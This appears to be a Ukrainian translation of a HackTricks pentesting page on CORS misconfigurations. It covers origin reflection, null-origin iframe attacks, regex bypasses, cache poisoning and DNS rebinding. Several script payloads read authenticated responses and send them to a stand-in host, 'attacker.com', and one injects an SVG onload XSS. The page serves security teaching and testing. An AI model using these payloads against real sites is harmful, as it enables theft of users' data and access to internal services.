CORS - Misconfigurations & Bypass

Підтримайте HackTricks

Що таке CORS?

Стандарт Cross-Origin Resource Sharing (CORS) дозволяє серверам визначати, хто може отримати доступ до їхніх ресурсів та які методи HTTP запитів дозволені з зовнішніх джерел.

Політика одного походження вимагає, щоб сервер, що запитує ресурс, і сервер, що хостить ресурс, використовували один і той же протокол (наприклад, http://), доменне ім'я (наприклад, internal-web.com) та порт (наприклад, 80). Згідно з цією політикою, лише веб-сторінки з одного домену та порту мають доступ до ресурсів.

Застосування політики одного походження в контексті http://normal-website.com/example/example.html ілюструється наступним чином:

URL, до якого звертаютьсяДоступ дозволено?

http://normal-website.com/example/

Так: Ідентична схема, домен та порт

http://normal-website.com/example2/

Так: Ідентична схема, домен та порт

https://normal-website.com/example/

Ні: Різна схема та порт

http://en.normal-website.com/example/

Ні: Різне доменне ім'я

http://www.normal-website.com/example/

Ні: Різне доменне ім'я

http://normal-website.com:8080/example/

Ні: Різний порт*

*Internet Explorer ігнорує номер порту при застосуванні політики одного походження, що дозволяє цей доступ.

Заголовок Access-Control-Allow-Origin

Цей заголовок може дозволяти декілька походжень, значення null або підстановочний знак *. Однак жоден браузер не підтримує декілька походжень, а використання підстановочного знака * підлягає обмеженням. (Підстановковий знак повинен використовуватися окремо, і його використання разом з Access-Control-Allow-Credentials: true не дозволено.)

Цей заголовок видається сервером у відповідь на запит ресурсу з іншого домену, ініційований веб-сайтом, при цьому браузер автоматично додає заголовок Origin.

Заголовок Access-Control-Allow-Credentials

За замовчуванням запити з іншого походження здійснюються без облікових даних, таких як куки або заголовок авторизації. Проте сервер з іншого домену може дозволити читання відповіді, коли облікові дані надсилаються, встановивши заголовок Access-Control-Allow-Credentials на true.

Якщо встановлено на true, браузер передаватиме облікові дані (куки, заголовки авторизації або сертифікати клієнта TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

Коли ініціюється запит між доменами за певних умов, таких як використання нестандартного HTTP-методу (будь-якого, окрім HEAD, GET, POST), введення нових заголовків або використання спеціального значення заголовка Content-Type, може знадобитися попередній запит. Цей попередній запит, що використовує метод OPTIONS, служить для інформування сервера про наміри майбутнього запиту з іншого походження, включаючи HTTP-методи та заголовки, які він має намір використовувати.

Протокол Cross-Origin Resource Sharing (CORS) вимагає цього попереднього перевірки, щоб визначити можливість запитуваної операції з іншого походження, перевіряючи дозволені методи, заголовки та надійність походження. Для детального розуміння умов, які обходять необхідність попереднього запиту, зверніться до всебічного посібника, наданого Mozilla Developer Network (MDN).

Важливо зазначити, що відсутність попереднього запиту не скасовує вимогу, щоб відповідь містила заголовки авторизації. Без цих заголовків браузер не здатний обробити відповідь на запит з іншого походження.

Розгляньте наступну ілюстрацію попереднього запиту, спрямованого на використання методу PUT разом із користувацьким заголовком під назвою Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

У відповідь сервер може повернути заголовки, що вказують на прийняті методи, дозволений походження та інші деталі політики CORS, як показано нижче:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Цей заголовок вказує, які заголовки можуть бути використані під час фактичного запиту. Він встановлюється сервером, щоб вказати дозволені заголовки в запитах від клієнта.

  • Access-Control-Expose-Headers: Через цей заголовок сервер інформує клієнта про те, які заголовки можуть бути відкриті як частина відповіді, крім простих заголовків відповіді.

  • Access-Control-Max-Age: Цей заголовок вказує, як довго результати попереднього запиту можуть бути кешовані. Сервер встановлює максимальний час, в секундах, протягом якого інформація, повернена попереднім запитом, може бути повторно використана.

  • Access-Control-Request-Headers: Використовується в попередніх запитах, цей заголовок встановлюється клієнтом, щоб проінформувати сервер про те, які HTTP заголовки клієнт хоче використовувати в фактичному запиті.

  • Access-Control-Request-Method: Цей заголовок, також використовується в попередніх запитах, встановлюється клієнтом, щоб вказати, який HTTP метод буде використано в фактичному запиті.

  • Origin: Цей заголовок автоматично встановлюється браузером і вказує на походження запиту з іншого джерела. Він використовується сервером для оцінки того, чи слід дозволити або відхилити вхідний запит на основі політики CORS.

Зверніть увагу, що зазвичай (в залежності від типу вмісту та встановлених заголовків) у GET/POST запиті не надсилається попередній запит (запит надсилається безпосередньо), але якщо ви хочете отримати доступ до заголовків/тіла відповіді, він повинен містити заголовок Access-Control-Allow-Origin, що дозволяє це. Отже, CORS не захищає від CSRF (але може бути корисним).

Запити локальної мережі Попередній запит

  1. Access-Control-Request-Local-Network: Цей заголовок включається в запит клієнта, щоб вказати, що запит спрямований на ресурс локальної мережі. Він слугує маркером, щоб проінформувати сервер про те, що запит походить з локальної мережі.

  2. Access-Control-Allow-Local-Network: У відповідь сервери використовують цей заголовок, щоб повідомити, що запитуваний ресурс дозволено ділитися з суб'єктами за межами локальної мережі. Він діє як зелена лампочка для обміну ресурсами через різні мережеві межі, забезпечуючи контрольований доступ при дотриманні протоколів безпеки.

Дійсна відповідь, що дозволяє запит локальної мережі, також повинна містити в відповіді заголовок Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Зверніть увагу, що IP-адреса linux 0.0.0.0 працює для обходу цих вимог для доступу до localhost, оскільки ця IP-адреса не вважається "локальною".

Також можливо обійти вимоги локальної мережі, якщо ви використовуєте публічну IP-адресу локальної точки доступу (наприклад, публічну IP-адресу маршрутизатора). Оскільки в кількох випадках, навіть якщо публічна IP доступна, якщо це з локальної мережі, доступ буде надано.

Вразливі неправильні налаштування

Спостерігалося, що налаштування Access-Control-Allow-Credentials на true є передумовою для більшості реальних атак. Це налаштування дозволяє браузеру надсилати облікові дані та читати відповідь, підвищуючи ефективність атаки. Без цього перевага від того, що браузер робить запит, а не ви самі, зменшується, оскільки використання куків користувача стає неможливим.

Виняток: Використання мережевої локації як аутентифікації

Існує виняток, коли мережеве місцезнаходження жертви діє як форма аутентифікації. Це дозволяє використовувати браузер жертви як проксі, обходячи аутентифікацію на основі IP для доступу до внутрішніх додатків. Цей метод має подібності за впливом з DNS rebinding, але його простіше експлуатувати.

Відображення Origin в Access-Control-Allow-Origin

Сценарій з реального життя, де значення заголовка Origin відображається в Access-Control-Allow-Origin, теоретично малоймовірний через обмеження на поєднання цих заголовків. Однак розробники, які прагнуть активувати CORS для кількох URL-адрес, можуть динамічно генерувати заголовок Access-Control-Allow-Origin, копіюючи значення заголовка Origin. Цей підхід може ввести вразливості, особливо коли зловмисник використовує домен з назвою, що виглядає легітимно, тим самим обманюючи логіку валідації.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Використання null походження

null походження, вказане для ситуацій, таких як редиректи або локальні HTML файли, займає унікальну позицію. Деякі програми включають це походження в білий список, щоб полегшити локальну розробку, ненавмисно дозволяючи будь-якому веб-сайту імітувати null походження через пісочницю iframe, таким чином обходячи обмеження CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Техніки обходу регулярних виразів

Коли ви стикаєтеся з білим списком доменів, важливо перевірити можливості обходу, такі як додавання домену атакуючого до домену з білого списку або використання вразливостей захоплення піддоменів. Крім того, регулярні вирази, що використовуються для валідації доменів, можуть не враховувати нюанси в назвах доменів, що створює додаткові можливості для обходу.

Розширені обходи регулярних виразів

Шаблони Regex зазвичай зосереджуються на алфавітно-цифрових, крапкових (.) та дефісних (-) символах, ігноруючи інші можливості. Наприклад, доменне ім'я, створене з використанням символів, які браузери та шаблони regex інтерпретують по-різному, може обійти перевірки безпеки. Обробка символів підкреслення в піддоменах браузерами Safari, Chrome та Firefox ілюструє, як такі розбіжності можуть бути використані для обходу логіки валідації доменів.

Для отримання додаткової інформації та налаштувань цього перевірки обходу: https://www.corben.io/advanced-cors-techniques/ та https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

З XSS всередині піддомену

Розробники часто впроваджують захисні механізми для захисту від експлуатації CORS, створюючи білий список доменів, яким дозволено запитувати інформацію. Незважаючи на ці запобіжні заходи, безпека системи не є бездоганною. Наявність навіть одного вразливого піддомену в межах доменів з білого списку може відкрити двері для експлуатації CORS через інші вразливості, такі як XSS (міжсайтовий скриптинг).

Щоб проілюструвати, розгляньте сценарій, коли домен requester.com внесено до білого списку для доступу до ресурсів з іншого домену, provider.com. Конфігурація на стороні сервера може виглядати приблизно так:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

У цьому налаштуванні всі піддомени requester.com мають доступ. Однак, якщо піддомен, скажімо, sub.requester.com, скомпрометований через вразливість XSS, зловмисник може скористатися цією слабкістю. Наприклад, зловмисник з доступом до sub.requester.com може експлуатувати вразливість XSS, щоб обійти політики CORS і зловмисно отримати доступ до ресурсів на provider.com.

Отруєння кешу на стороні сервера

З цього дослідження

Існує ймовірність, що шляхом експлуатації отруєння кешу на стороні сервера через ін'єкцію HTTP заголовків можна викликати збережену вразливість Cross-Site Scripting (XSS). Цей сценарій розгортається, коли додаток не очищає заголовок Origin від незаконних символів, створюючи вразливість, особливо для користувачів Internet Explorer та Edge. Ці браузери трактують (0x0d) як законний термінатор HTTP заголовка, що призводить до вразливостей ін'єкції HTTP заголовків.

Розгляньте наступний запит, де маніпулюється заголовок Origin:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer та Edge інтерпретують відповідь як:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Хоча безпосереднє використання цієї вразливості шляхом відправлення неправильно сформованого заголовка веб-браузером є недоцільним, спеціально підготовлений запит можна вручну згенерувати за допомогою інструментів, таких як Burp Suite. Цей метод може призвести до того, що кеш на стороні сервера зберігатиме відповідь і ненавмисно надаватиме її іншим. Спеціально підготовлений вантаж має на меті змінити набір символів сторінки на UTF-7, кодування символів, яке часто асоціюється з вразливостями XSS через його здатність кодувати символи таким чином, що їх можна виконати як скрипт у певних контекстах.

Для подальшого читання про збережені вразливості XSS дивіться PortSwigger.

Примітка: Використання вразливостей ін'єкції HTTP-заголовків, зокрема через отруєння кешу на стороні сервера, підкреслює критичну важливість перевірки та очищення всіх введених користувачем даних, включаючи HTTP-заголовки. Завжди використовуйте надійну модель безпеки, яка включає перевірку введених даних, щоб запобігти таким вразливостям.

Отруєння кешу на стороні клієнта

З цього дослідження

У цьому сценарії спостерігається екземпляр веб-сторінки, що відображає вміст спеціального HTTP-заголовка без належного кодування. Зокрема, веб-сторінка відображає вміст, включений у заголовок X-User-id, який може містити шкідливий JavaScript, як показано в прикладі, де заголовок містить тег SVG-изображення, призначений для виконання JavaScript-коду при завантаженні.

Політики Cross-Origin Resource Sharing (CORS) дозволяють надсилати спеціальні заголовки. Однак, якщо відповідь не відображається безпосередньо браузером через обмеження CORS, корисність такої ін'єкції може здаватися обмеженою. Критичний момент виникає при розгляді поведінки кешу браузера. Якщо заголовок Vary: Origin не вказано, стає можливим, щоб шкідлива відповідь була кешована браузером. В подальшому ця кешована відповідь може бути відображена безпосередньо при переході за URL, обходячи необхідність безпосереднього відображення під час початкового запиту. Цей механізм підвищує надійність атаки, використовуючи кешування на стороні клієнта.

Щоб проілюструвати цю атаку, наводиться приклад JavaScript, призначений для виконання в середовищі веб-сторінки, наприклад, через JSFiddle. Цей скрипт виконує просту дію: він надсилає запит до вказаного URL з спеціальним заголовком, що містить шкідливий JavaScript. Після успішного завершення запиту він намагається перейти до цільового URL, потенційно викликаючи виконання ін'єкованого скрипту, якщо відповідь була кешована без належної обробки заголовка Vary: Origin.

Ось короткий огляд JavaScript, використаного для виконання цієї атаки:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, також відомий як Cross-Site Script Inclusion, є типом вразливості, яка використовує той факт, що Політика одного походження (SOP) не застосовується при включенні ресурсів за допомогою тегу script. Це пов'язано з тим, що скрипти повинні мати можливість включатися з різних доменів. Ця вразливість дозволяє зловмиснику отримувати доступ і читати будь-який контент, який був включений за допомогою тегу script.

Ця вразливість стає особливо значущою, коли йдеться про динамічний JavaScript або JSONP (JSON з Padding), особливо коли для аутентифікації використовуються дані про навколишнє середовище, такі як куки. При запиті ресурсу з іншого хоста куки включаються, що робить їх доступними для зловмисника.

Щоб краще зрозуміти і пом'якшити цю вразливість, ви можете використовувати плагін BurpSuite, доступний за адресою https://github.com/kapytein/jsonp. Цей плагін може допомогти виявити та усунути потенційні вразливості XSSI у ваших веб-додатках.

Читати більше про різні типи XSSI та як їх експлуатувати тут.

Спробуйте додати callback параметр у запит. Можливо, сторінка була підготовлена для відправки даних як JSONP. У цьому випадку сторінка поверне дані з Content-Type: application/javascript, що обійде політику CORS.

Легкий (марний?) обхід

Один зі способів обійти обмеження Access-Control-Allow-Origin - це запитати веб-додаток, щоб він зробив запит від вашого імені та надіслав відповідь назад. Однак у цьому сценарії облікові дані кінцевої жертви не будуть надіслані, оскільки запит робиться до іншого домену.

  1. CORS-escape: Цей інструмент надає проксі, який пересилає ваш запит разом з його заголовками, одночасно підробляючи заголовок Origin, щоб відповідати запитаному домену. Це ефективно обіймає політику CORS. Ось приклад використання з XMLHttpRequest:

  2. simple-cors-escape: Цей інструмент пропонує альтернативний підхід до проксирування запитів. Замість того, щоб передавати ваш запит як є, сервер робить свій власний запит з вказаними параметрами.

Iframe + Popup Bypass

Ви можете обійти перевірки CORS, такі як e.origin === window.origin, створивши iframe і з нього відкриваючи нове вікно. Більше інформації на наступній сторінці:

Iframes in XSS, CSP and SOP

DNS Rebinding через TTL

DNS rebinding через TTL - це техніка, яка використовується для обходу певних заходів безпеки шляхом маніпулювання DNS-записами. Ось як це працює:

  1. Зловмисник створює веб-сторінку і змушує жертву отримати до неї доступ.

  2. Потім зловмисник змінює DNS (IP) свого домену, щоб вказувати на веб-сторінку жертви.

  3. Браузер жертви кешує відповідь DNS, яка може мати значення TTL (Time to Live), що вказує, як довго DNS-запис повинен вважатися дійсним.

  4. Коли TTL закінчується, браузер жертви робить новий DNS-запит, що дозволяє зловмиснику виконувати JavaScript-код на сторінці жертви.

  5. Підтримуючи контроль над IP жертви, зловмисник може збирати інформацію з жертви, не надсилаючи жодних куків на сервер жертви.

Важливо зазначити, що браузери мають механізми кешування, які можуть запобігти негайному зловживанню цією технікою, навіть з низькими значеннями TTL.

DNS rebinding може бути корисним для обходу явних перевірок IP, які виконує жертва, або для сценаріїв, коли користувач або бот залишається на одній сторінці протягом тривалого часу, що дозволяє кешу закінчитися.

Якщо вам потрібен швидкий спосіб зловживати DNS rebinding, ви можете використовувати сервіси, такі як https://lock.cmpxchg8b.com/rebinder.html.

Щоб запустити свій власний сервер DNS rebinding, ви можете використовувати інструменти, такі як DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Це передбачає відкриття вашого локального порту 53/udp, створення A-запису, що вказує на нього (наприклад, ns.example.com), і створення NS-запису, що вказує на раніше створений A-субдомен (наприклад, ns.example.com). Будь-який субдомен ns.example.com буде розв'язаний вашим хостом.

Ви також можете дослідити публічно працюючий сервер за адресою http://rebind.it/singularity.html для подальшого розуміння та експериментів.

DNS Rebinding через DNS Cache Flooding

DNS rebinding через DNS cache flooding - це ще одна техніка, яка використовується для обходу механізму кешування браузерів і примушення другого DNS-запиту. Ось як це працює:

  1. Спочатку, коли жертва робить DNS-запит, на нього відповідає IP-адреса зловмисника.

  2. Щоб обійти захист кешування, зловмисник використовує сервісний робітник. Сервісний робітник заповнює кеш DNS, що ефективно видаляє кешоване ім'я сервера зловмисника.

  3. Коли браузер жертви робить другий DNS-запит, на нього тепер відповідає IP-адреса 127.0.0.1, яка зазвичай посилається на localhost.

Заповнюючи кеш DNS за допомогою сервісного робітника, зловмисник може маніпулювати процесом розв'язання DNS і примусити браузер жертви зробити другий запит, цього разу розв'язуючи на бажану IP-адресу зловмисника.

DNS Rebinding через Cache

Ще один спосіб обійти захист кешування - це використання кількох IP-адрес для одного й того ж субдомену у постачальника DNS. Ось як це працює:

  1. Зловмисник налаштовує два A-записи (або один A-запис з двома IP) для одного й того ж субдомену у постачальника DNS.

  2. Коли браузер перевіряє ці записи, він отримує обидві IP-адреси.

  3. Якщо браузер вирішує спочатку використовувати IP-адресу зловмисника, зловмисник може надати корисне навантаження, яке виконує HTTP-запити до того ж домену.

  4. Однак, як тільки зловмисник отримує IP-адресу жертви, він перестає відповідати браузеру жертви.

  5. Браузер жертви, усвідомивши, що домен не відповідає, переходить до використання другої наданої IP-адреси.

  6. Доступаючи до другої IP-адреси, браузер обминає Політику одного походження (SOP), що дозволяє зловмиснику зловживати цим і збирати та ексфільтрувати інформацію.

Ця техніка використовує поведінку браузерів, коли для домену надаються кілька IP-адрес. Стратегічно контролюючи відповіді та маніпулюючи вибором IP-адреси браузера, зловмисник може експлуатувати SOP і отримувати інформацію від жертви.

Зверніть увагу, що для доступу до localhost вам слід спробувати переприв'язати 127.0.0.1 у Windows і 0.0.0.0 у Linux. Постачальники, такі як godaddy або cloudflare, не дозволили мені використовувати IP 0.0.0.0, але AWS route53 дозволив мені створити один A-запис з 2 IP, один з яких "0.0.0.0"

Для отримання додаткової інформації ви можете перевірити https://unit42.paloaltonetworks.com/dns-rebinding/

Інші загальні обходи

  • Якщо внутрішні IP не дозволені, вони можуть забути заборонити 0.0.0.0 (працює на Linux і Mac)

  • Якщо внутрішні IP не дозволені, відповідайте з CNAME на localhost (працює на Linux і Mac)

  • Якщо внутрішні IP не дозволені як DNS-відповіді, ви можете відповісти CNAME на внутрішні сервіси, такі як www.corporate.internal.

Зброя DNS Rebidding

Ви можете знайти більше інформації про попередні техніки обходу та як використовувати наступний інструмент у доповіді Gerald Doussot - Стан атак DNS Rebinding & Унікальність походження - конференція DEF CON 27.

Унікальність походження - це інструмент для виконання DNS rebinding атак. Він включає необхідні компоненти для переприв'язки IP-адреси DNS-імені сервера атаки до IP-адреси цільової машини та для надання атакуючих корисних навантажень для експлуатації вразливого програмного забезпечення на цільовій машині.

Реальний захист від DNS Rebinding

  • Використовуйте TLS у внутрішніх сервісах

  • Запитуйте аутентифікацію для доступу до даних

  • Перевіряйте заголовок Host

  • https://wicg.github.io/private-network-access/: Пропозиція завжди надсилати попередній запит, коли публічні сервери хочуть отримати доступ до внутрішніх серверів

Інструменти

Перевірте можливі неправильні налаштування в політиках CORS

Посилання

Підтримка HackTricks

Last updated